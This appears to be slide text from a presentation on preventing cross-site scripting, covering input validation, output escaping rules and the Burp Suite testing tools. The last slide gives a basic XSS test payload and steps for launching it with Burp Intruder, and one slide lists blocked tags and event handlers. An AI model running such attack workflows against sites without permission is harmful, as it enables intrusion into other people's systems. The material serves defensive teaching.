  • 21. Validation at server By sanitizing the input data, we can prevent the malicious code to enter in the system. Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields   White lists – Allow <strong>, <em> and <br> only – Does help, but not 100%   Blacklists– Block <script> and other attributes such as onload, onclick, onmouseover etc.
  • 22. Escaping output at server Problem characters can include < > " ‘ &.These characters can be replaced with HTML character entities. For example, < can be replaced with &lt;.   5 Rules for escaping output #1 - HTML Escape before inserting into element content #2 - Attribute Escape before inserting into attributes #3 - JavaScript Escape before inserting into JavaScript data values #4 - CSS Escape before inserting into style property values #5 - URL Escape before inserting into URL attributes
  • 23. Escaping text before updating DOM at client side To avoid DOM based XSS attacks.
  • 24. Web vulnerability scanner Applications These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html)
  • 25. Burp suite Burp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another. Download: http://portswigger.net/suite/download.html Documentation: http://portswigger.net/suite/help.html
  • 26. Burp Tools Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions. Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality. Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications. Intruder- a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities. Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses. Sequencer- a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable. Decoder- a tool for performing manual or intelligent decoding and encoding of application data. Comparer- a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.
  • 28. How to use Run the application and set the browser proxy to localhost: 8080 Open any site and Burp will create a sitemap tree in the left panel, as per the site traversal. Select any URL from the tree and add it to intruder. Add different type of payloads for attack, i.e. 1<script >alert(1);</script> Go to Intruder and click start attack. Burp suite will show the results in a new window.